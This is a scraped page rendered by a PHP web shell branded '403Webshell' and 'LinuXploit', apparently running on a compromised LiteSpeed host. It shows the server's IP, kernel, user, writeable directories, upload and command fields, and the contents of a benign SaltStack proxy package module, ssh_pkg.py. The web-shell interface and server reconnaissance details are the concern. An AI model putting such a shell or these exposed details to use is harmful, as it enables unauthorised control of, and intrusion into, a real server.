403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.178
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/ssh_pkg.py
"""
Service support for the REST example
"""

import logging

import salt.utils.platform

log = logging.getLogger(__name__)

# Define the module's virtual name
__virtualname__ = "pkg"


def __virtual__():
    """
    Only work on proxy
    """
    try:
        if (
            salt.utils.platform.is_proxy()
            and __opts__["proxy"]["proxytype"] == "ssh_sample"
        ):
            return __virtualname__
    except KeyError:
        return (
            False,
            "The ssh_package execution module failed to load. Check the "
            "proxy key in pillar.",
        )

    return (
        False,
        "The ssh_package execution module failed to load: only works on an "
        "ssh_sample proxy minion.",
    )


def list_pkgs(versions_as_list=False, **kwargs):
    return __proxy__["ssh_sample.package_list"]()


def install(name=None, refresh=False, fromrepo=None, pkgs=None, sources=None, **kwargs):
    return __proxy__["ssh_sample.package_install"](name, **kwargs)


def remove(name=None, pkgs=None, **kwargs):
    return __proxy__["ssh_sample.package_remove"](name)

Youez - 2016 - github.com/yon3zu
LinuXploit